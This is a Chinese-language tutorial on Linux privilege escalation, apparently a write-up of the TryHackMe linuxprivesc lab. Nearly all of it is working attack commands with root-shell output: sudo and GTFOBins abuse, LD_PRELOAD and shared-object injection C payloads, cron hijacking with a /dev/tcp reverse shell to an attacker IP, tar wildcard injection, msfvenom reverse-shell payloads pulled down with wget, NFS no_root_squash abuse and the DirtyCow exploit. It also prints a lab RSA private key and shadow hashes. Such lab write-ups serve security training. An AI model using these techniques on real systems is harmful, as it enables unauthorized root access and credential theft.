linux提权
n3ym4r

前言

这里通过简单靶场举例说明,了解提权的基础姿势。

提权检测脚本

在拿到普通用户shell后,可以手动输入命令2来查询系统信息、用户信息、正在运行的服务、第三方软件等等可能用来提权的点。同时,也可以利用现成的收集脚本来进行收集,这里介绍linpeas脚本,链接如下:https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS。阅读官方文档,此脚本可以收集到系统信息、驱动器、已安装软件、进程信息、定时作业、服务等等信息。还有其他一些脚本,原理大同小异,这里不做介绍了。

sudo提权

命令提权

默认情况下,sudo命令允许用户以root权限执行命令/运行程序,某些情况下,系统管理员会允许普通用户提供一些灵活的权限,例如,普通用户需要使用nmap,而又不想让普通用户得到完全的root权限,此时,root用户可以允许普通用户仅以root权限运行这个程序,在其他应用程序维持原来的权限级别。

任何用户都可以使用sudo -l命令查看当前与root权限相关的情况。

user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/nano
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/man
    (root) NOPASSWD: /usr/bin/awk
    (root) NOPASSWD: /usr/bin/less
    (root) NOPASSWD: /usr/bin/ftp
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/sbin/apache2
    (root) NOPASSWD: /bin/more

在此例中,有11个命令允许以root权限执行,因此我们可以尝试使用此命令的某些功能来获得特权 shell。可以通过查阅此网站来查询各种命令提权的使用方法https://gtfobins.github.io/。例如,这里我们使用find命令来进行sudo提权。

user@debian:~$ sudo find . -exec /bin/sh \; -quit
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1# 

环境变量

如果您在 sudo -l 的输出中发现以下句子:env_keep+=LD_PRELOAD 并且您可以使用 sudo 调用一些命令,则可以提升权限。如下:

user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:

LD_PRELOAD 和 LD_LIBRARY_PATH 都继承自用户环境。LD_PRELOAD 在程序运行时先加载一个共享对象。 LD_LIBRARY_PATH 提供首先搜索共享库的目录列表。也就是说,如果攻击者控制 LD_LIBRARY_PATH env 变量,则可能会滥用类似的权限,因为他控制着要搜索库的路径。通过改变环境变量,使得程序运行时执行我们的恶意文件。

另存为/tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

然后编译它使用:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

最后运行提权

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

例如:

user@debian:~$ vim /tmp/pe.c
user@debian:~$ cd /tmp
user@debian:/tmp$ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
user@debian:/tmp$ sudo LD_PRELOAD=./pe.so apache2
root@debian:/tmp# 

注意最后一行已经变成了root权限shell

Cron作业

Cron作业用于在特定时间运行脚本或二进制文件。默认情况下,它们以其所有者而非当前用户的权限运行。

文件权限

如果有一个以 root 权限运行的计划任务,并且我们可以更改将要运行的脚本,那么我们的脚本将以 root 权限运行。

Cron 表文件 (crontabs) 存储 cron 作业的配置。crontab 位于 /etc/crontab。查看此文件:

user@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh

可以看到有两个计划运行的作业,一个为overwrite.sh,另一个为/usr/local/bin/compress.sh。

找到overwrite.sh文件所在位置,并查看此文件权限

user@debian:~$ locate overwrite.sh
locate: warning: database `/var/cache/locate/locatedb' is more than 8 days old (actual age is 1016.0 days)
/usr/local/bin/overwrite.sh
user@debian:~$ ls -l /usr/local/bin/overwrite.sh
-rwxr--rw- 1 root staff 40 May 13  2017 /usr/local/bin/overwrite.sh

可以看到,文件位于/usr/local/bin/overwrite.sh,并且全局可写,那么我们就可以将此文件内容更改。

将文件内容改为反弹shell的命令

!/bin/bash
bash -i >& /dev/tcp/10.18.47.107/4444 0>&1

本机开启监听,等待cron作业执行

┌──(n3ym4r㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.18.47.107] from (UNKNOWN) [10.10.80.4] 38638
bash: no job control in this shell
root@debian:~# 

得到root权限

PATH 环境变量

在/etc/crontab文件可以看到,PATH为PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin,我们可以在/home/user目录下新建一个overwrite.sh脚本如下:

#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash

然后,确保此脚本有执行权限:chmod +x /home/user/overwrite.sh

等待系统执行作业,使用 -p 运行 /tmp/rootbash 命令以获得以 root 权限运行的 shell

user@debian:~$ /tmp/rootbash -p
rootbash-4.1# whoami
root

通配符

查看另一个作业文件

sh-4.1$ cat /usr/local/bin/compress.sh 
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
sh-4.1$ 

可以看到脚本命令为切换到/home/user目录下,然后把目录里的所有文件都压缩,生成一个压缩包,命名为backup.tar.gz。

通过查阅https://gtfobins.github.io/gtfobins/tar/,得到`tar -cf /dev/null /dev/null –checkpoint=1 –checkpoint-action=exec=/bin/sh`使用此命令可拿到shell。

那么可以在目录下新建两个文件

首先在本地使用msf生成shell.elf

┌──(n3ym4r㉿kali)-[~]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.18.47.107 LPORT=9999 -f elf -o shell.elf


[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: shell.elf

然后,在本地开一个server

┌──(n3ym4r㉿kali)-[~]shell
└─$ python3 -m http.server 80      
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [25/Feb/2023 19:21:08] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [25/Feb/2023 19:21:09] code 404, message File not found
127.0.0.1 - - [25/Feb/2023 19:21:09] "GET /favicon.ico HTTP/1.1" 404 -
10.10.80.4 - - [25/Feb/2023 19:22:41] "GET /shell.elf HTTP/1.0" 200 -

在主机下载

user@debian:~$ wget http://10.18.47.107/shell.elf
--2023-02-25 06:22:40--  http://10.18.47.107/shell.elf
Connecting to 10.18.47.107:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/octet-stream]
Saving to: “shell.elf”

100%[============================================================================>] 194         --.-K/s   in 0s      

2023-02-25 06:22:41 (60.0 MB/s) - “shell.elf” saved [194/194]

赋予执行权限

user@debian:~$ chmod +x /home/user/shell.elf

在home/user下,新建两个文件

user@debian:~$ touch /home/user/--checkpoint=1
user@debian:~$ touch /home/user/--checkpoint-action=exec=shell.elf

之后,等待作业执行,得到反弹shell

这里,简单解释一下,作业会执行tar命令,我们在目录下新建两个文件,将命名改为tar可执行的命令,也就是说会把这两个文件的名称当做命令来执行,而不是作为文件。

SUID

suid即set user id,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。需要这种特殊权限的场景在Linux下很常见。

使用find / -perm -4000 2>/dev/null 即可获得所有suid可执行文件

user@debian:~$ find / -perm -4000 2>/dev/null 
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/sudoedit
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
/usr/local/bin/suid-so
/usr/local/bin/suid-env
/usr/local/bin/suid-env2
/usr/sbin/exim-4.84-3
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/bin/ping6
/bin/ping
/bin/mount
/bin/su
/bin/umount
/tmp/rootbash
/sbin/mount.nfs
user@debian:~$

已知漏洞

在上面的查询中可以看到/usr/sbin/exim-4.84-3,在Google,GitHub,exploit-db查询此版本有无漏洞。查询得到存在 CVE-2016-1531漏洞,利用现成exp进行漏洞利用。

user@debian:~$ /home/user/tools/suid/exim/cve-2016-1531.sh
[ CVE-2016-1531 local root exploit
sh-4.1# id
uid=0(root) gid=1000(user) groups=0(root)

共享对象注入

/usr/local/bin/suid-so SUID 可执行文件容易受到共享对象注入的攻击。

user@debian:~$ /usr/local/bin/suid-so              //执行此文件,会出现进度条
Calculating something, please wait...
[=====================================================================>] 99 %
Done.
user@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file" //在文件上运行 strace 并在输出中搜索打开/访问调用和“没有这样的文件”错误
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY)       = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)  //最后一行,可执行文件试图在我们的主目录中加载 /home/user/.config/libcalc.so 共享对象,但找不到。
user@debian:~$ mkdir /home/user/.config                    //为 libcalc.so 文件创建 .config 目录
user@debian:~$ gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c   //将/home/user/tools/suid/libcalc.c编译到 suid-so 可执行文件查找它的位置的共享对象中
user@debian:~$ /usr/local/bin/suid-so           //再次执行 suid-so 可执行文件,注意这次我们得到的不是进度条,而是 root shell
Calculating something, please wait...
bash-4.1# id
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
bash-4.1# 

libcalc.c:

bash-4.1# cat /home/user/tools/suid/libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    setuid(0);
    system("/bin/bash -p");
}

环境变量

/usr/local/bin/suid-env 可执行文件可以被利用,因为它继承了用户的 PATH 环境变量并尝试在不指定绝对路径的情况下执行程序。

user@debian:~$ /usr/local/bin/suid-env          //执行文件,发现正在尝试启动Apache2服务
[....] Starting web server: apache2httpd (pid 1625) already running
. ok 
user@debian:~$ strings /usr/local/bin/suid-env    //在文件上运行字符串以查找可打印字符的字符串:
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start  //这一行表明正在调用服务可执行文件以启动网络服务器,但是未使用可执行文件的完整路径(/usr/sbin/service)。
user@debian:~$ gcc -o service /home/user/tools/suid/service.c  //编译准备好的service文件
user@debian:~$ PATH=.:$PATH /usr/local/bin/suid-env //将当前目录(或新服务可执行文件所在的位置)添加到 PATH 变量,并运行 suid-envexecutable
root@debian:~# id                                   //得到root权限
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

service.c:

root@debian:~# cat /home/user/tools/suid/service.c 
int main() {
    setuid(0);
    system("/bin/bash -p");
}

滥用shell

bash<4.2-048

在 Bash 版本 <4.2-048 中,可以使用类似于文件路径的名称定义 shell 函数,然后导出这些函数,以便使用它们而不是该文件路径中的任何实际可执行文件。

user@debian:~$ /bin/bash --version                     //获取bash版本
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
user@debian:~$ function /usr/sbin/service { /bin/bash -p; }     
//创建一个名为“/usr/sbin/service”的 Bash 函数,它执行一个新的 Bash shell(使用 -p 以保留权限)并导出该函数
user@debian:~$ export -f /usr/sbin/service 
user@debian:~$ /usr/local/bin/suid-env2 //运行得到root shell 
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
root@debian:~# 

bash<4.4

在调试模式下,Bash 使用环境变量 PS4 来显示调试语句的额外提示。

user@debian:~$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
 //在启用 bash 调试的情况下运行 /usr/local/bin/suid-env2 可执行文件,并将 PS4 变量设置为创建 SUID 版本 /bin/bash 的嵌入式命令
 
/usr/sbin/service apache2 start
basename /usr/sbin/service
VERSION='service ver. 0.91-ubuntu1'
basename /usr/sbin/service
USAGE='Usage: service < option > | --status-all | [ service_name [ command | --full-restart ] ]'
SERVICE=
ACTION=
SERVICEDIR=/etc/init.d
OPTIONS=
'[' 2 -eq 0 ']'
cd /
'[' 2 -gt 0 ']'
case "${1}" in
'[' -z '' -a 2 -eq 1 -a apache2 = --status-all ']'
'[' 2 -eq 2 -a start = --full-restart ']'
'[' -z '' ']'
SERVICE=apache2
shift
'[' 1 -gt 0 ']'
case "${1}" in
'[' -z apache2 -a 1 -eq 1 -a start = --status-all ']'
'[' 1 -eq 2 -a '' = --full-restart ']'
'[' -z apache2 ']'
'[' -z '' ']'
ACTION=start
shift
'[' 0 -gt 0 ']'
'[' -r /etc/init/apache2.conf ']'
'[' -x /etc/init.d/apache2 ']'
exec env -i LANG= PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin TERM=dumb /etc/init.d/apache2 start
Starting web server: apache2httpd (pid 1625) already running
.
user@debian:~$ 
user@debian:~$ /tmp/rootbash -p      //使用 -p 运行 /tmp/rootbash 可执行文件以获得以 root 权限运行的 shell

rootbash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

密码、秘钥

历史文件

如果用户不小心在命令行而不是在密码提示中输入密码,则可能会记录在历史文件中。

cat ~/.*history    //查看user home下所有隐藏历史文件的内容
user@debian:~$ cat ~/.*history
ls -al
cat .bash_history 
ls -al
mysql -h somehost.local -uroot -ppassword123  //暴露出mysql密码
exit
cd /tmp
clear
ifconfig
netstat -antp
nano myvpn.ovpn 

配置文件

配置文件通常包含明文或其他可逆格式的密码。

user@debian:~$ ls /home/user
myvpn.ovpn  service  tools
user@debian:~$ 
user@debian:~$ cat /home/user/myvpn.ovpn   //注意 myvpn.ovpn 配置文件的存在。查看文件内容
client
dev tun
proto udp
remote 10.10.10.10 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
tls-client
remote-cert-tls server 
auth-user-pass /etc/openvpn/auth.txt         //该文件应包含另一个文件的引用
comp-lzo
verb 1
reneg-sec 0


user@debian:~$ cat /etc/openvpn/auth.txt      //查看该文件
root
password123
user@debian:~$ su root                        //凭借密码登录到root
Password: 
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

SSH秘钥

有时用户会备份重要文件,但无法使用正确的权限来保护它们。

user@debian:~$ ls -la /                                      //在系统根目录中查找隐藏的文件和目录
total 96
drwxr-xr-x 22 root root  4096 Aug 25  2019 .
drwxr-xr-x 22 root root  4096 Aug 25  2019 ..
drwxr-xr-x  2 root root  4096 Aug 25  2019 bin
drwxr-xr-x  3 root root  4096 May 12  2017 boot
drwxr-xr-x 12 root root  2820 Feb 25 08:27 dev
drwxr-xr-x 67 root root  4096 Feb 25 09:19 etc
drwxr-xr-x  3 root root  4096 May 15  2017 home
lrwxrwxrwx  1 root root    30 May 12  2017 initrd.img -> boot/initrd.img-2.6.32-5-amd64
drwxr-xr-x 12 root root 12288 May 14  2017 lib
lrwxrwxrwx  1 root root     4 May 12  2017 lib64 -> /lib
drwx------  2 root root 16384 May 12  2017 lost+found
drwxr-xr-x  3 root root  4096 May 12  2017 media
drwxr-xr-x  2 root root  4096 Jun 11  2014 mnt
drwxr-xr-x  2 root root  4096 May 12  2017 opt
dr-xr-xr-x 96 root root     0 Feb 25 08:25 proc
drwx------  5 root root  4096 May 15  2020 root
drwxr-xr-x  2 root root  4096 May 13  2017 sbin
drwxr-xr-x  2 root root  4096 Jul 21  2010 selinux
drwxr-xr-x  2 root root  4096 May 12  2017 srv
drwxr-xr-x  2 root root  4096 Aug 25  2019 .ssh
drwxr-xr-x 13 root root     0 Feb 25 08:25 sys
drwxrwxrwt  2 root root  4096 Feb 25 09:25 tmp
drwxr-xr-x 11 root root  4096 May 13  2017 usr
drwxr-xr-x 14 root root  4096 May 13  2017 var
lrwxrwxrwx  1 root root    27 May 12  2017 vmlinuz -> boot/vmlinuz-2.6.32-5-amd64
user@debian:~$ ls -l /.ssh                                 //查看.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 25  2019 root_key
user@debian:~$ cat /.ssh/root_key                          //进一步查看,确定为ssh登录私钥
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3IIf6Wczcdm38MZ9+QADSYq9FfKfwj0mJaUteyJHWHZ3/GNm
gLTH3Fov2Ss8QuGfvvD4CQ1f4N0PqnaJ2WJrKSP8QyxJ7YtRTk0JoTSGWTeUpExl
p4oSmTxYnO0LDcsezwNhBZn0kljtGu9p+dmmKbk40W4SWlTvU1LcEHRr6RgWMgQo
OHhxUFddFtYrknS4GiL5TJH6bt57xoIECnRc/8suZyWzgRzbo+TvDewK3ZhBN7HD
eV9G5JrjnVrDqSjhysUANmUTjUCTSsofUwlum+pU/dl9YCkXJRp7Hgy/QkFKpFET
Z36Z0g1JtQkwWxUD/iFj+iapkLuMaVT5dCq9kQIDAQABAoIBAQDDWdSDppYA6uz2
NiMsEULYSD0z0HqQTjQZbbhZOgkS6gFqa3VH2OCm6o8xSghdCB3Jvxk+i8bBI5bZ
YaLGH1boX6UArZ/g/mfNgpphYnMTXxYkaDo2ry/C6Z9nhukgEy78HvY5TCdL79Q+
5JNyccuvcxRPFcDUniJYIzQqr7laCgNU2R1lL87Qai6B6gJpyB9cP68rA02244el
WUXcZTk68p9dk2Q3tk3r/oYHf2LTkgPShXBEwP1VkF/2FFPvwi1JCCMUGS27avN7
VDFru8hDPCCmE3j4N9Sw6X/sSDR9ESg4+iNTsD2ziwGDYnizzY2e1+75zLyYZ4N7
6JoPCYFxAoGBAPi0ALpmNz17iFClfIqDrunUy8JT4aFxl0kQ5y9rKeFwNu50nTIW
1X+343539fKIcuPB0JY9ZkO9d4tp8M1Slebv/p4ITdKf43yTjClbd/FpyG2QNy3K
824ihKlQVDC9eYezWWs2pqZk/AqO2IHSlzL4v0T0GyzOsKJH6NGTvYhrAoGBAOL6
Wg07OXE08XsLJE+ujVPH4DQMqRz/G1vwztPkSmeqZ8/qsLW2bINLhndZdd1FaPzc
U7LXiuDNcl5u+Pihbv73rPNZOsixkklb5t3Jg1OcvvYcL6hMRwLL4iqG8YDBmlK1
Rg1CjY1csnqTOMJUVEHy0ofroEMLf/0uVRP3VsDzAoGBAIKFJSSt5Cu2GxIH51Zi
SXeaH906XF132aeU4V83ZGFVnN6EAMN6zE0c2p1So5bHGVSCMM/IJVVDp+tYi/GV
d+oc5YlWXlE9bAvC+3nw8P+XPoKRfwPfUOXp46lf6O8zYQZgj3r+0XLd6JA561Im
jQdJGEg9u81GI9jm2D60xHFFAoGAPFatRcMuvAeFAl6t4njWnSUPVwbelhTDIyfa
871GglRskHslSskaA7U6I9QmXxIqnL29ild+VdCHzM7XZNEVfrY8xdw8okmCR/ok
X2VIghuzMB3CFY1hez7T+tYwsTfGXKJP4wqEMsYntCoa9p4QYA+7I+LhkbEm7xk4
CLzB1T0CgYB2Ijb2DpcWlxjX08JRVi8+R7T2Fhh4L5FuykcDeZm1OvYeCML32EfN
Whp/Mr5B5GDmMHBRtKaiLS8/NRAokiibsCmMzQegmfipo+35DNTW66DDq47RFgR4
LnM9yXzn+CbIJGeJk5XUFQuLSv0f6uiaWNi7t9UNyayRmwejI6phSw==
-----END RSA PRIVATE KEY-----

将私钥复制,放入本地主机,利用私钥登录ssh root账户

┌──(n3ym4r㉿kali)-[~]
└─$ ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.183.54
//这里因为靶机太老,需要做些额外的设置

弱文件

可读/etc/shadow

/etc/shadow 文件包含用户的密码哈希值,通常只有 root 用户可读,如果普通用户也能对etc/shadow 文件进行读取,那么我们就能利用可读的/etc/shadow提权。

user@debian:~$ ls -l /etc/shadow                     //查看权限
-rw-r--rw- 1 root shadow 837 Aug 25  2019 /etc/shadow
user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::
user@debian:~$ 

在每行的第二个参数就是保存的密码hash(如果有的话)

得到hash后,使用本地kali的john进行密码枚举,得到明文密码

可写/etc/shadow

user@debian:~$ mkpasswd -m sha-512 1234       //生成1234的hash值
$6$BWe0nZwWFr$Ek7Oxb/HmddxaOLZKAqi0PB9b/uJ3aDF/4SlmUQ07uT/HXT2yfyP7mtOZsJzgLR/jttTD/Fwv18sOzrKE2z6K1

然后,编辑/etc/shadow文件,将生成的hash替换root的密码。之后,使用root登录即可。

可写/etc/passwd

/etc/passwd 文件包含有关用户帐户的信息。它是全局可读的,但通常只能由 root 用户写入。从历史上看,/etc/passwd 文件包含用户密码哈希值,某些版本的 Linux 仍然允许将密码哈希值存储在那里。

和前面etc/shadow一个道理,生成hash进入文件替换,登录即可。

NFS

网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。

通过 NFS 创建的文件继承远程用户的 ID。如果用户是 root,并且启用了 root_sqaush 压缩,则 ID 将改为设置为“nobody”用户。如果没有启用,则具有root访问权限。

Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。

也就是说,利用此漏洞,必须为no_root_squash

user@debian:~$ cat /etc/exports                       //查看nfs共享设置
# /etc/exports: the access control list for filesystems which may be exported
#		to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#

/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)    ///tmp目录是可共享的,远程用户可以挂载它,并且/tmp目录共享还禁用了root_squash选项(启用no_root_squash选项-----即代表禁用了root_squash)
#/tmp *(rw,sync,insecure,no_subtree_check)

此时回到我们的本地kali

┌──(n3ym4r㉿kali)-[~]
└─$ su root                               //切换到root                                                          
密码: 
┌──(root㉿kali)-[/home/n3ym4r]
└─# mkdir /tmp/nfs                        //创建目录
                                                                                                                
                                                                                                                
┌──(root㉿kali)-[/home/n3ym4r]
└─# mount -o rw,vers=3 10.10.183.54:/tmp /tmp/nfs          //创建一个挂载点并挂载目标机的/tmp 共享目录


                                                                                                                
┌──(root㉿kali)-[/home/n3ym4r]
└─# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf  

//msf生成一个payload并将其保存到刚才挂载的共享目录(这个payload的作用是调用/bin/bash)

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of elf file: 132 bytes
Saved as: /tmp/nfs/shell.elf
                                                                                                                
┌──(root㉿kali)-[/home/n3ym4r]
└─# chmod +xs /tmp/nfs/shell.elf                //使payload文件可执行并设置 SUID 权限

切到目标机普通用户,执行payload文件

user@debian:~$ /tmp/shell.elf 
bash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

得到root

内核漏洞

运行 Linux Exploit Suggester 2 工具来识别当前系统上潜在的内核漏洞

user@debian:~$ perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl

  #############################
    Linux Exploit Suggester 2
  #############################

  Local Kernel: 2.6.32
  Searching 72 exploits...

  Possible Exploits
  [1] american-sign-language
      CVE-2010-4347
      Source: http://www.securityfocus.com/bid/45408
  [2] can_bcm
      CVE-2010-2959
      Source: http://www.exploit-db.com/exploits/14814
  [3] dirty_cow
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
  [4] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [5] half_nelson1
      Alt: econet       CVE-2010-3848
      Source: http://www.exploit-db.com/exploits/17787
  [6] half_nelson2
      Alt: econet       CVE-2010-3850
      Source: http://www.exploit-db.com/exploits/17787
  [7] half_nelson3
      Alt: econet       CVE-2010-4073
      Source: http://www.exploit-db.com/exploits/17787
  [8] msr
      CVE-2013-0268
      Source: http://www.exploit-db.com/exploits/27297
  [9] pktcdvd
      CVE-2010-3437
      Source: http://www.exploit-db.com/exploits/15150
  [10] ptrace_kmod2
      Alt: ia32syscall,robert_you_suck       CVE-2010-3301
      Source: http://www.exploit-db.com/exploits/15023
  [11] rawmodePTY
      CVE-2014-0196
      Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
  [12] rds
      CVE-2010-3904
      Source: http://www.exploit-db.com/exploits/15285
  [13] reiserfs
      CVE-2010-1146
      Source: http://www.exploit-db.com/exploits/12130
  [14] video4linux
      CVE-2010-3081
      Source: http://www.exploit-db.com/exploits/15024

查看输出第三条著名漏洞——脏牛

利用exp

执行exp会将SUID文件/usr/bin/passwd替换为 生成shell的文件(从外在看不出变化)

user@debian:~$ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w     //编译exp
user@debian:~$ ./c0w                                                                  //执行
                                
   (___)                                   
   (o o)_____/                             
    @@ `     \                            
     \ ____, //usr/bin/passwd                          
     //    //                              
    ^^    ^^                               
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 733f000

madvise 0

ptrace 0

user@debian:~$ /usr/bin/passwd                                             //执行替换后的usr/bin/passwd
root@debian:/home/user# 
root@debian:/home/user# id                                               //得到root
uid=0(root) gid=1000(user) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

这里存在的其他漏洞就不做演示了,使用exp利用即可。

总结

提权的方法很多,要视实际情况而定,这里介绍到的是最基础的提权方式。

一般流程为:

1.通过各种命令进行简单信息收集

2.利用检测脚本批量快速收集可能利用的提权点

检测出漏洞直接利用

3.查看各种服务、配置文件、历史文件看有没有暴露的密码

4.sudo/suid/cron提权

5.查看各种服务、第三方应用的版本,看有无漏洞利用点,如MySQL的udf提权等

7.内核exp

参考链接:

https://tryhackme.com/room/linuxprivesc#

https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/README.md

https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid